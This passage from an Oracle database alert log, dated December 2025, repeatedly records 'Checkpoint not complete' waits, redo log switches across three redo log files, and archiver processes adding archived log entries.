/u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:02:59.619169+08:00 ARC3 (PID:1871): Archived Log entry 2173 added for T-1.S-2177 ID 0x75f9c04b LAD:1 2025-12-27T23:02:59.641711+08:00 Thread 1 cannot allocate new log, sequence 2179 Checkpoint not complete Current log# 1 seq# 2178 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:02.673645+08:00 Thread 1 advanced to log sequence 2179 (LGWR switch) Current log# 2 seq# 2179 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:02.718279+08:00 ARC0 (PID:1861): Archived Log entry 2174 added for T-1.S-2178 ID 0x75f9c04b LAD:1 2025-12-27T23:03:02.761135+08:00 Thread 1 cannot allocate new log, sequence 2180 Checkpoint not complete Current log# 2 seq# 2179 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:05.738329+08:00 Thread 1 advanced to log sequence 2180 (LGWR switch) Current log# 3 seq# 2180 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:05.784129+08:00 ARC1 (PID:1867): Archived Log entry 2175 added for T-1.S-2179 ID 0x75f9c04b LAD:1 2025-12-27T23:03:05.826793+08:00 Thread 1 cannot allocate new log, sequence 2181 Checkpoint not complete Current log# 3 seq# 2180 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:08.867220+08:00 Thread 1 advanced to log sequence 2181 (LGWR switch) Current log# 1 seq# 2181 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:08.897151+08:00 ARC2 (PID:1869): Archived Log entry 2176 added for T-1.S-2180 ID 0x75f9c04b LAD:1 2025-12-27T23:03:08.934381+08:00 Thread 1 cannot allocate new log, sequence 2182 Checkpoint not complete Current log# 1 seq# 2181 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:12.019854+08:00 Thread 1 advanced to log sequence 2182 (LGWR switch) Current log# 2 seq# 2182 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:12.060063+08:00 ARC3 (PID:1871): Archived Log entry 2177 added for T-1.S-2181 ID 0x75f9c04b LAD:1 2025-12-27T23:03:12.096847+08:00 Thread 1 cannot allocate new log, sequence 2183 Checkpoint not complete Current log# 2 seq# 2182 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:15.082213+08:00 Thread 1 advanced to log sequence 2183 (LGWR switch) Current log# 3 seq# 2183 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:15.126704+08:00 ARC0 (PID:1861): Archived Log entry 2178 added for T-1.S-2182 ID 0x75f9c04b LAD:1 2025-12-27T23:03:15.168617+08:00 Thread 1 cannot allocate new log, sequence 2184 Checkpoint not complete Current log# 3 seq# 2183 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:18.169727+08:00 Thread 1 advanced to log sequence 2184 (LGWR switch) Current log# 1 seq# 2184 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:18.216043+08:00 ARC1 (PID:1867): Archived Log entry 2179 added for T-1.S-2183 ID 0x75f9c04b LAD:1 2025-12-27T23:03:18.257884+08:00 Thread 1 cannot allocate new log, sequence 2185 Checkpoint not complete Current log# 1 seq# 2184 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:21.298310+08:00 Thread 1 advanced to log sequence 2185 (LGWR switch) Current log# 2 seq# 2185 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:21.340466+08:00 ARC2 (PID:1869): Archived Log entry 2180 added for T-1.S-2184 ID 0x75f9c04b LAD:1 2025-12-27T23:03:21.385445+08:00 Thread 1 cannot allocate new log, sequence 2186 Checkpoint not complete Current log# 2 seq# 2185 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:24.409430+08:00 Thread 1 advanced to log sequence 2186 (LGWR switch) Current log# 3 seq# 2186 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:24.456695+08:00 ARC3 (PID:1871): Archived Log entry 2181 added for T-1.S-2185 ID 0x75f9c04b LAD:1 2025-12-27T23:03:24.497215+08:00 Thread 1 cannot allocate new log, sequence 2187 Checkpoint not complete Current log# 3 seq# 2186 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:27.446018+08:00 Thread 1 advanced to log sequence 2187 (LGWR switch) Current log# 1 seq# 2187 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:27.477072+08:00 ARC0 (PID:1861): Archived Log entry 2182 added for T-1.S-2186 ID 0x75f9c04b LAD:1 2025-12-27T23:03:27.512046+08:00 Thread 1 cannot allocate new log, sequence 2188 Checkpoint not complete Current log# 1 seq# 2187 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:30.603869+08:00 Thread 1 advanced to log sequence 2188 (LGWR switch) Current log# 2 seq# 2188 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:30.666321+08:00 ARC1 (PID:1867): Archived Log entry 2183 added for T-1.S-2187 ID 0x75f9c04b LAD:1 2025-12-27T23:03:30.700791+08:00 Thread 1 cannot allocate new log, sequence 2189 Checkpoint not complete Current log# 2 seq# 2188 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:33.720339+08:00 Thread 1 advanced to log sequence 2189 (LGWR switch) Current log# 3 seq# 2189 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:33.765486+08:00 ARC2 (PID:1869): Archived Log entry 2184 added for T-1.S-2188 ID 0x75f9c04b LAD:1 2025-12-27T23:03:33.806701+08:00 Thread 1 cannot allocate new log, sequence 2190 Checkpoint not complete Current log# 3 seq# 2189 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:36.790963+08:00 Thread 1 advanced to log sequence 2190 (LGWR switch) Current log# 1 seq# 2190 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:36.836840+08:00 ARC3 (PID:1871): Archived Log entry 2185 added for T-1.S-2189 ID 0x75f9c04b LAD:1 2025-12-27T23:03:36.884771+08:00 Thread 1 cannot allocate new log, sequence 2191 Checkpoint not complete Current log# 1 seq# 2190 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:39.923232+08:00 Thread 1 advanced to log sequence 2191 (LGWR switch) Current log# 2 seq# 2191 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:39.968951+08:00 ARC0 (PID:1861): Archived Log entry 2186 added for T-1.S-2190 ID 0x75f9c04b LAD:1 2025-12-27T23:03:40.011874+08:00 Thread 1 cannot allocate new log, sequence 2192 Checkpoint not complete Current log# 2 seq# 2191 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:43.039694+08:00 Thread 1 advanced to log sequence 2192 (LGWR switch) Current log# 3 seq# 2192 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:43.082413+08:00 ARC1 (PID:1867): Archived Log entry 2187 added for T-1.S-2191 ID 0x75f9c04b LAD:1 2025-12-27T23:03:43.130948+08:00 Thread 1 cannot allocate new log, sequence 2193 Checkpoint not complete Current log# 3 seq# 2192 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:43.335991+08:00 Thread 1 advanced to log sequence 2193 (LGWR switch) Current log# 1 seq# 2193 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:43.386200+08:00 ARC2 (PID:1869): Archived Log entry 2188 added for T-1.S-2192 ID 0x75f9c04b LAD:1 2025-12-27T23:03:43.424300+08:00 Thread 1 cannot allocate new log, sequence 2194 Checkpoint not complete Current log# 1 seq# 2193 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:46.183663+08:00 Thread 1 advanced to log sequence 2194 (LGWR switch) Current log# 2 seq# 2194 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:46.221336+08:00 ARC3 (PID:1871): Archived Log entry 2189 added for T-1.S-2193 ID 0x75f9c04b LAD:1 2025-12-27T23:03:46.265618+08:00 Thread 1 cannot allocate new log, sequence 2195 Checkpoint not complete Current log# 2 seq# 2194 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:49.261955+08:00 Thread 1 advanced to log sequence 2195 (LGWR switch) Current log# 3 seq# 2195 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:49.308670+08:00 ARC0 (PID:1861): Archived Log entry 2190 added for T-1.S-2194 ID 0x75f9c04b LAD:1 2025-12-27T23:03:49.352788+08:00 Thread 1 cannot allocate new log, sequence 2196 Checkpoint not complete Current log# 3 seq# 2195 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:52.454096+08:00 Thread 1 advanced to log sequence 2196 (LGWR switch) Current log# 1 seq# 2196 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:52.500991+08:00 ARC1 (PID:1867): Archived Log entry 2191 added for T-1.S-2195 ID 0x75f9c04b LAD:1 2025-12-27T23:03:52.544090+08:00 Thread 1 cannot allocate new log, sequence 2197 Checkpoint not complete Current log# 1 seq# 2196 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:03:55.635989+08:00 Thread 1 advanced to log sequence 2197 (LGWR switch) Current log# 2 seq# 2197 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:55.685845+08:00 ARC2 (PID:1869): Archived Log entry 2192 added for T-1.S-2196 ID 0x75f9c04b LAD:1 2025-12-27T23:03:55.728034+08:00 Thread 1 cannot allocate new log, sequence 2198 Checkpoint not complete Current log# 2 seq# 2197 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:03:58.743822+08:00 Thread 1 advanced to log sequence 2198 (LGWR switch) Current log# 3 seq# 2198 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:03:58.785031+08:00 ARC3 (PID:1871): Archived Log entry 2193 added for T-1.S-2197 ID 0x75f9c04b LAD:1 2025-12-27T23:03:58.825799+08:00 Thread 1 cannot allocate new log, sequence 2199 Checkpoint not complete Current log# 3 seq# 2198 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:01.843541+08:00 Thread 1 advanced to log sequence 2199 (LGWR switch) Current log# 1 seq# 2199 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:01.889934+08:00 ARC0 (PID:1861): Archived Log entry 2194 added for T-1.S-2198 ID 0x75f9c04b LAD:1 2025-12-27T23:04:01.931157+08:00 Thread 1 cannot allocate new log, sequence 2200 Checkpoint not complete Current log# 1 seq# 2199 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:04.947210+08:00 Thread 1 advanced to log sequence 2200 (LGWR switch) Current log# 2 seq# 2200 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:04.988045+08:00 ARC1 (PID:1867): Archived Log entry 2195 added for T-1.S-2199 ID 0x75f9c04b LAD:1 2025-12-27T23:04:05.034595+08:00 Thread 1 cannot allocate new log, sequence 2201 Checkpoint not complete Current log# 2 seq# 2200 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:08.001440+08:00 Thread 1 advanced to log sequence 2201 (LGWR switch) Current log# 3 seq# 2201 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:08.047897+08:00 ARC2 (PID:1869): Archived Log entry 2196 added for T-1.S-2200 ID 0x75f9c04b LAD:1 2025-12-27T23:04:08.087603+08:00 Thread 1 cannot allocate new log, sequence 2202 Checkpoint not complete Current log# 3 seq# 2201 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:11.136785+08:00 Thread 1 advanced to log sequence 2202 (LGWR switch) Current log# 1 seq# 2202 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:11.178041+08:00 ARC3 (PID:1871): Archived Log entry 2197 added for T-1.S-2201 ID 0x75f9c04b LAD:1 2025-12-27T23:04:11.228899+08:00 Thread 1 cannot allocate new log, sequence 2203 Checkpoint not complete Current log# 1 seq# 2202 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:14.300173+08:00 Thread 1 advanced to log sequence 2203 (LGWR switch) Current log# 2 seq# 2203 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:14.345067+08:00 ARC0 (PID:1861): Archived Log entry 2198 added for T-1.S-2202 ID 0x75f9c04b LAD:1 2025-12-27T23:04:14.388462+08:00 Thread 1 cannot allocate new log, sequence 2204 Checkpoint not complete Current log# 2 seq# 2203 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:17.510042+08:00 Thread 1 advanced to log sequence 2204 (LGWR switch) Current log# 3 seq# 2204 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:17.553935+08:00 ARC1 (PID:1867): Archived Log entry 2199 added for T-1.S-2203 ID 0x75f9c04b LAD:1 2025-12-27T23:04:17.596095+08:00 Thread 1 cannot allocate new log, sequence 2205 Checkpoint not complete Current log# 3 seq# 2204 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:20.591031+08:00 Thread 1 advanced to log sequence 2205 (LGWR switch) Current log# 1 seq# 2205 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:20.639460+08:00 ARC2 (PID:1869): Archived Log entry 2200 added for T-1.S-2204 ID 0x75f9c04b LAD:1 2025-12-27T23:04:20.680590+08:00 Thread 1 cannot allocate new log, sequence 2206 Checkpoint not complete Current log# 1 seq# 2205 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:23.713089+08:00 Thread 1 advanced to log sequence 2206 (LGWR switch) Current log# 2 seq# 2206 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:23.761521+08:00 ARC3 (PID:1871): Archived Log entry 2201 added for T-1.S-2205 ID 0x75f9c04b LAD:1 2025-12-27T23:04:23.806927+08:00 Thread 1 cannot allocate new log, sequence 2207 Checkpoint not complete Current log# 2 seq# 2206 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:26.734135+08:00 Thread 1 advanced to log sequence 2207 (LGWR switch) Current log# 3 seq# 2207 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:26.762981+08:00 ARC0 (PID:1861): Archived Log entry 2202 added for T-1.S-2206 ID 0x75f9c04b LAD:1 2025-12-27T23:04:26.805796+08:00 Thread 1 cannot allocate new log, sequence 2208 Checkpoint not complete Current log# 3 seq# 2207 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:29.894334+08:00 Thread 1 advanced to log sequence 2208 (LGWR switch) Current log# 1 seq# 2208 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:29.933315+08:00 ARC1 (PID:1867): Archived Log entry 2203 added for T-1.S-2207 ID 0x75f9c04b LAD:1 2025-12-27T23:04:29.979752+08:00 Thread 1 cannot allocate new log, sequence 2209 Checkpoint not complete Current log# 1 seq# 2208 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:33.033494+08:00 Thread 1 advanced to log sequence 2209 (LGWR switch) Current log# 2 seq# 2209 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:33.078236+08:00 ARC2 (PID:1869): Archived Log entry 2204 added for T-1.S-2208 ID 0x75f9c04b LAD:1 2025-12-27T23:04:33.122716+08:00 Thread 1 cannot allocate new log, sequence 2210 Checkpoint not complete Current log# 2 seq# 2209 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:36.186327+08:00 Thread 1 advanced to log sequence 2210 (LGWR switch) Current log# 3 seq# 2210 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:36.230127+08:00 ARC3 (PID:1871): Archived Log entry 2205 added for T-1.S-2209 ID 0x75f9c04b LAD:1 2025-12-27T23:04:36.270443+08:00 Thread 1 cannot allocate new log, sequence 2211 Checkpoint not complete Current log# 3 seq# 2210 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:39.338933+08:00 Thread 1 advanced to log sequence 2211 (LGWR switch) Current log# 1 seq# 2211 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:39.382392+08:00 ARC0 (PID:1861): Archived Log entry 2206 added for T-1.S-2210 ID 0x75f9c04b LAD:1 2025-12-27T23:04:39.420024+08:00 Thread 1 cannot allocate new log, sequence 2212 Checkpoint not complete Current log# 1 seq# 2211 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:42.499279+08:00 Thread 1 advanced to log sequence 2212 (LGWR switch) Current log# 2 seq# 2212 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:42.547215+08:00 ARC1 (PID:1867): Archived Log entry 2207 added for T-1.S-2211 ID 0x75f9c04b LAD:1 2025-12-27T23:04:42.601765+08:00 Thread 1 cannot allocate new log, sequence 2213 Checkpoint not complete Current log# 2 seq# 2212 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:45.627875+08:00 Thread 1 advanced to log sequence 2213 (LGWR switch) Current log# 3 seq# 2213 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:45.678137+08:00 ARC2 (PID:1869): Archived Log entry 2208 added for T-1.S-2212 ID 0x75f9c04b LAD:1 2025-12-27T23:04:45.719303+08:00 Thread 1 cannot allocate new log, sequence 2214 Checkpoint not complete Current log# 3 seq# 2213 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:48.714931+08:00 Thread 1 advanced to log sequence 2214 (LGWR switch) Current log# 1 seq# 2214 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:48.758400+08:00 ARC3 (PID:1871): Archived Log entry 2209 added for T-1.S-2213 ID 0x75f9c04b LAD:1 2025-12-27T23:04:48.800910+08:00 Thread 1 cannot allocate new log, sequence 2215 Checkpoint not complete Current log# 1 seq# 2214 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:51.816087+08:00 Thread 1 advanced to log sequence 2215 (LGWR switch) Current log# 2 seq# 2215 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:51.862010+08:00 ARC0 (PID:1861): Archived Log entry 2210 added for T-1.S-2214 ID 0x75f9c04b LAD:1 2025-12-27T23:04:51.902501+08:00 Thread 1 cannot allocate new log, sequence 2216 Checkpoint not complete Current log# 2 seq# 2215 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:04:54.912629+08:00 Thread 1 advanced to log sequence 2216 (LGWR switch) Current log# 3 seq# 2216 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:54.960529+08:00 ARC1 (PID:1867): Archived Log entry 2211 added for T-1.S-2215 ID 0x75f9c04b LAD:1 2025-12-27T23:04:55.005950+08:00 Thread 1 cannot allocate new log, sequence 2217 Checkpoint not complete Current log# 3 seq# 2216 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:04:58.043673+08:00 Thread 1 advanced to log sequence 2217 (LGWR switch) Current log# 1 seq# 2217 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:04:58.089098+08:00 ARC2 (PID:1869): Archived Log entry 2212 added for T-1.S-2216 ID 0x75f9c04b LAD:1 2025-12-27T23:04:58.134303+08:00 Thread 1 cannot allocate new log, sequence 2218 Checkpoint not complete Current log# 1 seq# 2217 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:01.168029+08:00 Thread 1 advanced to log sequence 2218 (LGWR switch) Current log# 2 seq# 2218 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:01.210458+08:00 ARC3 (PID:1871): Archived Log entry 2213 added for T-1.S-2217 ID 0x75f9c04b LAD:1 2025-12-27T23:05:01.257734+08:00 Thread 1 cannot allocate new log, sequence 2219 Checkpoint not complete Current log# 2 seq# 2218 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:04.309887+08:00 Thread 1 advanced to log sequence 2219 (LGWR switch) Current log# 3 seq# 2219 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:04.354998+08:00 ARC0 (PID:1861): Archived Log entry 2214 added for T-1.S-2218 ID 0x75f9c04b LAD:1 2025-12-27T23:05:04.395893+08:00 Thread 1 cannot allocate new log, sequence 2220 Checkpoint not complete Current log# 3 seq# 2219 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:07.434657+08:00 Thread 1 advanced to log sequence 2220 (LGWR switch) Current log# 1 seq# 2220 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:07.495530+08:00 ARC1 (PID:1867): Archived Log entry 2215 added for T-1.S-2219 ID 0x75f9c04b LAD:1 2025-12-27T23:05:07.536110+08:00 Thread 1 cannot allocate new log, sequence 2221 Checkpoint not complete Current log# 1 seq# 2220 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:10.534850+08:00 Thread 1 advanced to log sequence 2221 (LGWR switch) Current log# 2 seq# 2221 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:10.581009+08:00 ARC2 (PID:1869): Archived Log entry 2216 added for T-1.S-2220 ID 0x75f9c04b LAD:1 2025-12-27T23:05:10.625022+08:00 Thread 1 cannot allocate new log, sequence 2222 Checkpoint not complete Current log# 2 seq# 2221 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:13.632140+08:00 Thread 1 advanced to log sequence 2222 (LGWR switch) Current log# 3 seq# 2222 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:13.680517+08:00 ARC3 (PID:1871): Archived Log entry 2217 added for T-1.S-2221 ID 0x75f9c04b LAD:1 2025-12-27T23:05:13.725294+08:00 Thread 1 cannot allocate new log, sequence 2223 Checkpoint not complete Current log# 3 seq# 2222 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:16.710827+08:00 Thread 1 advanced to log sequence 2223 (LGWR switch) Current log# 1 seq# 2223 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:16.761432+08:00 ARC0 (PID:1861): Archived Log entry 2218 added for T-1.S-2222 ID 0x75f9c04b LAD:1 2025-12-27T23:05:16.798379+08:00 Thread 1 cannot allocate new log, sequence 2224 Checkpoint not complete Current log# 1 seq# 2223 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:19.847299+08:00 Thread 1 advanced to log sequence 2224 (LGWR switch) Current log# 2 seq# 2224 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:19.892225+08:00 ARC1 (PID:1867): Archived Log entry 2219 added for T-1.S-2223 ID 0x75f9c04b LAD:1 2025-12-27T23:05:19.927671+08:00 Thread 1 cannot allocate new log, sequence 2225 Checkpoint not complete Current log# 2 seq# 2224 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:22.973946+08:00 Thread 1 advanced to log sequence 2225 (LGWR switch) Current log# 3 seq# 2225 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:23.044891+08:00 ARC2 (PID:1869): Archived Log entry 2220 added for T-1.S-2224 ID 0x75f9c04b LAD:1 2025-12-27T23:05:23.081682+08:00 Thread 1 cannot allocate new log, sequence 2226 Checkpoint not complete Current log# 3 seq# 2225 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:26.026770+08:00 Thread 1 advanced to log sequence 2226 (LGWR switch) Current log# 1 seq# 2226 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:26.059984+08:00 ARC3 (PID:1871): Archived Log entry 2221 added for T-1.S-2225 ID 0x75f9c04b LAD:1 2025-12-27T23:05:26.095671+08:00 Thread 1 cannot allocate new log, sequence 2227 Checkpoint not complete Current log# 1 seq# 2226 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:29.180011+08:00 Thread 1 advanced to log sequence 2227 (LGWR switch) Current log# 2 seq# 2227 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:29.222357+08:00 ARC0 (PID:1861): Archived Log entry 2222 added for T-1.S-2226 ID 0x75f9c04b LAD:1 2025-12-27T23:05:29.279451+08:00 Thread 1 cannot allocate new log, sequence 2228 Checkpoint not complete Current log# 2 seq# 2227 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:32.233946+08:00 Thread 1 advanced to log sequence 2228 (LGWR switch) Current log# 3 seq# 2228 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:32.284466+08:00 ARC1 (PID:1867): Archived Log entry 2223 added for T-1.S-2227 ID 0x75f9c04b LAD:1 2025-12-27T23:05:32.326040+08:00 Thread 1 cannot allocate new log, sequence 2229 Checkpoint not complete Current log# 3 seq# 2228 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:35.314814+08:00 Thread 1 advanced to log sequence 2229 (LGWR switch) Current log# 1 seq# 2229 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:35.357733+08:00 ARC2 (PID:1869): Archived Log entry 2224 added for T-1.S-2228 ID 0x75f9c04b LAD:1 2025-12-27T23:05:35.405292+08:00 Thread 1 cannot allocate new log, sequence 2230 Checkpoint not complete Current log# 1 seq# 2229 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:38.369100+08:00 Thread 1 advanced to log sequence 2230 (LGWR switch) Current log# 2 seq# 2230 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:38.420858+08:00 ARC3 (PID:1871): Archived Log entry 2225 added for T-1.S-2229 ID 0x75f9c04b LAD:1 2025-12-27T23:05:38.459577+08:00 Thread 1 cannot allocate new log, sequence 2231 Checkpoint not complete Current log# 2 seq# 2230 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:41.490752+08:00 Thread 1 advanced to log sequence 2231 (LGWR switch) Current log# 3 seq# 2231 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:41.538666+08:00 ARC0 (PID:1861): Archived Log entry 2226 added for T-1.S-2230 ID 0x75f9c04b LAD:1 2025-12-27T23:05:41.580186+08:00 Thread 1 cannot allocate new log, sequence 2232 Checkpoint not complete Current log# 3 seq# 2231 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:44.635905+08:00 Thread 1 advanced to log sequence 2232 (LGWR switch) Current log# 1 seq# 2232 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:44.679239+08:00 ARC1 (PID:1867): Archived Log entry 2227 added for T-1.S-2231 ID 0x75f9c04b LAD:1 2025-12-27T23:05:44.719603+08:00 Thread 1 cannot allocate new log, sequence 2233 Checkpoint not complete Current log# 1 seq# 2232 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:47.744550+08:00 Thread 1 advanced to log sequence 2233 (LGWR switch) Current log# 2 seq# 2233 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:47.792619+08:00 ARC2 (PID:1869): Archived Log entry 2228 added for T-1.S-2232 ID 0x75f9c04b LAD:1 2025-12-27T23:05:47.858944+08:00 Thread 1 cannot allocate new log, sequence 2234 Checkpoint not complete Current log# 2 seq# 2233 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:50.845171+08:00 Thread 1 advanced to log sequence 2234 (LGWR switch) Current log# 3 seq# 2234 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:50.898819+08:00 ARC3 (PID:1871): Archived Log entry 2229 added for T-1.S-2233 ID 0x75f9c04b LAD:1 2025-12-27T23:05:50.939889+08:00 Thread 1 cannot allocate new log, sequence 2235 Checkpoint not complete Current log# 3 seq# 2234 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:05:53.946180+08:00 Thread 1 advanced to log sequence 2235 (LGWR switch) Current log# 1 seq# 2235 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:53.989596+08:00 ARC0 (PID:1861): Archived Log entry 2230 added for T-1.S-2234 ID 0x75f9c04b LAD:1 2025-12-27T23:05:54.028195+08:00 Thread 1 cannot allocate new log, sequence 2236 Checkpoint not complete Current log# 1 seq# 2235 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:05:57.115927+08:00 Thread 1 advanced to log sequence 2236 (LGWR switch) Current log# 2 seq# 2236 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:05:57.162785+08:00 ARC1 (PID:1867): Archived Log entry 2231 added for T-1.S-2235 ID 0x75f9c04b LAD:1 2025-12-27T23:05:57.206084+08:00 Thread 1 cannot allocate new log, sequence 2237 Checkpoint not complete Current log# 2 seq# 2236 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:00.168050+08:00 Thread 1 advanced to log sequence 2237 (LGWR switch) Current log# 3 seq# 2237 mem# 0: 